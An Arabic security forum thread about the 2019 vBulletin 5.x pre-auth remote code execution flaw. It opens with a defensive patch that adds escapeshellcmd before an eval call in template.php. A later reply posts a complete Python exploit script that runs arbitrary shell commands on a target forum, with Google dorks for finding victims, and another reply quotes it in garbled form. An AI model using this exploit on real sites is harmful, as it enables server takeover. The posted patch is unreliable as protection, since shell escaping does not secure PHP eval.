الحماية للأبد -Security 4 Ever

الحماية للأبد -Security 4 Ever (https://www.sec4ever.com/home/index.php)
-   قسم الأخبار التقنية والنقاشات الجادة (https://www.sec4ever.com/home/forumdisplay.php?f=98)
-   -   [شرح كتابى] الحماية من ثغرة vBulletin 5.x 0day pre-auth RCE (https://www.sec4ever.com/home/showthread.php?t=19646)

Cwne 25-09-2019 05:32 PM

الحماية من ثغرة vBulletin 5.x 0day pre-auth RCE
 
السلام عليكم ورحمة الله وبركاته، كيف حالكم اخوتي؟ اتمنى ان تكونو بتمام الصحة والعافية إن شاء الله.


كما علمنا في الفترة الاخيرة ظهور ثغرة 0day في سكربت vBulletin الاصدار الاخير وحتى احدث باتش للاصدار، كلها مصابة إلى هذه اللحظة.


https://www.sec4ever.com/home/showthread.php?t=19645




وبسبب ان الثغرة وقعت بأيدي الكثير من اطفال الاختراق، كان ولا بد على المسلم ان يتخذ الاجراءات اللازمة لحماية اخوته من مثل هذه الثغرات التي يستغلها الاطفال لاظهار انفسهم هنا وهناك فقط.




وللحماية من هذه الثغرة عليك ان تذهب إلي هذا المسار.



اقتباس:

/includes/vb5/
وأن تبحث عن ملف


اقتباس:

template.php
وابحث عن هذا السطر


كود PHP:

@eval($templateCode); 

والذي هو بدوره يكون سطر رقم 280


وقم بإضافة هذا السطر قبله.


كود PHP:

if(isset($widgetConfig['code'])){ $widgetConfig['code'] = escapeshellcmd($widgetConfig['code']); } 

وفي حالة تواجد سطرين عند البحث، فقط السطر الاول الذي يلزمنا حمايته، والذي بدوره يكون موجود بداخل دالة render();


واتمنى ان اكون وفقت في طرحي لهذا الموضوع، ونسأل الله العلي العظيم ان يوفقكم اجمعين.
وإن كان من توفيق فهو من عند الله وحده لا شريك له، وإن كان من خطأ او تقصير فمني ومن الشيطان.

Cwne 26-09-2019 08:41 PM

رد: الحماية من ثغرة vBulletin 5.x 0day pre-auth RCE
 
السلام عليكم ورحمة الله وبركاته، شكرا للاخوة على التنبيه، واخص بالذكر الاخ MA DANGER
فقام بتنبيهي على انه اكواد الاصدارات الاحدث مختلفة، ذلك لجأت ﻹعادة النظر في الاكواد الحديثة لاصلاح الثغرة،


فيكون الاصلاح والذي بدوره يعمل على كل الاصدارات التي قمت بتجربتها. 5.1.2 و 5.5.2 و 5.2.3


نذهب إلى نفس الملف، ونبحث عن هذا السطر

كود PHP:

$templateCode $templateCache->getTemplate($this->template); 

ونقوم بإضافة نفس سطر الاصلاح اسفل منه.


اقتباس:

المشاركة الأصلية كتبت بواسطة Cwne (المشاركة 104055)
كود PHP:

if(isset($widgetConfig['code'])){ $widgetConfig['code'] = escapeshellcmd($widgetConfig['code']); } 





ويكون بهذه الطريقة حل الثغرة. ولكن على الاخوة الذين يمتلكون نسخة مدفوعة من السكربت التحديث للباتش الجديد، لانه فيه تم اصلاح الثغرة بواسطة الشركة المبرمجة.


ونسأل الله العلي العظيم ان يوفقكم وان يجازي اخانا MA DANGER خير الجزاء على التذكير، وعلى الموقع الذي قام بسد الثغرة به إن شاء الله.

Federal 29-09-2019 12:07 PM

رد: الحماية من ثغرة vBulletin 5.x 0day pre-auth RCE
 
كود PHP:

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit

# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"
import requests
import sys

if len(sys.argv) != 2:
    
sys.exit("Usage: %s <URL to vBulletin>" sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while 
True:
     try:
          
cmd raw_input("vBulletin$ ")
          
params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          
requests.post(url sys.argv[1], data params)
          if 
r.status_code == 200:
               print 
r.text
          
else:
               
sys.exit("Exploit failed! :(")
     
except KeyboardInterrupt:
          
sys.exit("\nClosing shell...")
     
except Exceptione:
          
sys.exit(str(e)) 


Dz-Sn!pEr 29-09-2019 01:00 PM

رد: الحماية من ثغرة vBulletin 5.x 0day pre-auth RCE
 
اقتباس:

المشاركة الأصلية كتبت بواسطة federal (المشاركة 104073)
[code]#!/usr/bin/python
#
# vbulletin 5.x 0day pre-auth rce exploit
#
# this should work on all versions from 5.0.0 till 5.5.4
#
# google dorks:
# - site:*.vbulletin.net
# - "powered by vbulletin version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
Sys.exit("usage: %s <url to vbulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while true:
Try:
Cmd = raw_input("vbulletin$ ")
params["widgetconfig
كود:

"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
              Print r.text
          else:
              Sys.exit("exploit failed! :(")
    except keyboardinterrupt:
          Sys.exit("\nclosing shell...")
    except exception, e:
          Sys.exit(str(e))


هذا استغلال لثغرة المطروحة لكن الاخ في الموضوع يتكلم عن طريقة الحماية من الثغرة لاصحاب المنتديات بالاصدارات المصابة

almalki 29-09-2019 04:27 PM

رد: الحماية من ثغرة vBulletin 5.x 0day pre-auth RCE
 
ممكن سكربت اذا سمحت
vBulletin 5.x.x


الساعة الآن 02:14 PM

Powered by vBulletin® Copyright ©2000 - 2019, Jelsoft Enterprises Ltd.